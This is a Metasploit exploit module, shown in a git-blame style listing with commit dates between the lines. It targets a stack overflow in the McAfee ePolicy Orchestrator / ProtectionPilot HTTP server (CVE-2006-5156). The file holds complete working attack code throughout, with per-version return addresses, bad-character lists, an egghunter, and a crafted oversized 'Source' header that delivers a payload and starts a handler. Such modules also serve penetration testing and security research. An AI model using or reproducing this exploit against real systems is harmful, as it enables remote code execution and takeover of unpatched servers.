2007-10-10 16:56:30 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-10-10 16:56:30 +00:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
|
include Msf::Exploit::Remote::Egghunter
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2007-10-10 16:56:30 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'McAfee ePolicy Orchestrator / ProtectionPilot Overflow',
|
|
|
|
|
'Description' => %q{
|
2010-08-25 20:55:37 +00:00
|
|
|
This is an exploit for the McAfee HTTP Server (NAISERV.exe).
|
2007-10-10 16:56:30 +00:00
|
|
|
McAfee ePolicy Orchestrator 2.5.1 <= 3.5.0 and ProtectionPilot 1.1.0 are
|
|
|
|
|
known to be vulnerable. By sending a large 'Source' header, the stack can
|
|
|
|
|
be overwritten. This module is based on the exploit by xbxice and muts.
|
2010-08-25 20:55:37 +00:00
|
|
|
Due to size constraints, this module uses the Egghunter technique.
|
2007-10-10 16:56:30 +00:00
|
|
|
},
|
|
|
|
|
'Author' =>
|
2010-08-25 20:55:37 +00:00
|
|
|
[
|
2014-07-11 12:45:23 -05:00
|
|
|
'muts <muts[at]remote-exploit.org>',
|
2010-08-25 20:55:37 +00:00
|
|
|
'xbxice[at]yahoo.com',
|
|
|
|
|
'hdm',
|
2017-11-09 03:00:24 +11:00
|
|
|
'aushack' # MSF3 rewrite, ePO v2.5.1 target
|
2010-08-25 20:55:37 +00:00
|
|
|
],
|
2010-09-20 08:06:27 +00:00
|
|
|
'Arch' => [ ARCH_X86 ],
|
2007-10-10 16:56:30 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'CVE', '2006-5156' ],
|
2016-07-15 12:00:31 -05:00
|
|
|
[ 'OSVDB', '29421' ],
|
2012-06-28 14:27:12 -05:00
|
|
|
[ 'EDB', '2467' ],
|
2007-10-10 16:56:30 +00:00
|
|
|
[ 'BID', '20288' ],
|
|
|
|
|
],
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
|
},
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 1000,
|
|
|
|
|
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x26\x2b\x3d\x25\x8c\x3c\xff",
|
|
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'ePo 2.5.1 (Service Pack 1)', { 'Ret' => 0x600741b5 } ], # p/p/r nahttp32.dll 2.5.1.213
|
|
|
|
|
[ 'ePo 3.5.0/ProtectionPilot 1.1.0', { 'Ret' => 0x601EDBDA } ], # p/p/r xmlutil.dll
|
|
|
|
|
],
|
|
|
|
|
'Privileged' => true,
|
2020-10-02 17:38:06 +01:00
|
|
|
'DisclosureDate' => '2006-07-17'))
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2007-10-10 16:56:30 +00:00
|
|
|
register_options(
|
|
|
|
|
[
|
|
|
|
|
Opt::RPORT(81),
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2007-10-10 16:56:30 +00:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2007-10-10 16:56:30 +00:00
|
|
|
def check
|
|
|
|
|
connect
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2007-10-10 16:56:30 +00:00
|
|
|
req = "GET /SITEINFO.INI HTTP/1.0\r\n"
|
2014-06-28 16:05:05 -05:00
|
|
|
req << "User-Agent: Mozilla/5.0\r\n\r\n"
|
|
|
|
|
sock.put(req)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2014-06-28 16:05:05 -05:00
|
|
|
banner = sock.get_once
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2014-06-28 16:05:05 -05:00
|
|
|
if banner.to_s =~ /Spipe\/1\.0/
|
2007-10-10 16:56:30 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
|
end
|
2010-08-25 20:55:37 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
2007-10-10 16:56:30 +00:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2007-10-10 16:56:30 +00:00
|
|
|
def exploit
|
|
|
|
|
connect
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2010-08-25 20:55:37 +00:00
|
|
|
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
|
|
|
|
|
egg = hunter[1]
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2007-10-10 16:56:30 +00:00
|
|
|
sploit = Rex::Text::rand_text_alphanumeric(92)
|
|
|
|
|
sploit << Rex::Arch::X86.jmp_short(6)
|
|
|
|
|
sploit << Rex::Text::rand_text_alphanumeric(2)
|
|
|
|
|
sploit << [target['Ret']].pack('V')
|
|
|
|
|
sploit << hunter[0]
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2010-08-25 20:55:37 +00:00
|
|
|
content = egg
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2007-10-10 16:56:30 +00:00
|
|
|
request = "GET /spipe/pkg HTTP/1.0\r\n"
|
|
|
|
|
request << "User-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n"
|
|
|
|
|
request << "Content-Length: " + content.length.to_s + "\r\n"
|
|
|
|
|
request << "AgentGuid=" + Rex::Text::rand_text_alphanumeric(64) + "\r\n"
|
|
|
|
|
request << "Source=" + sploit + "\r\n"
|
|
|
|
|
request << "\r\n"
|
|
|
|
|
request << content
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2007-10-10 16:56:30 +00:00
|
|
|
sock.put(request + "\r\n\r\n")
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2007-10-10 16:56:30 +00:00
|
|
|
disconnect
|
|
|
|
|
handler
|
|
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
end
|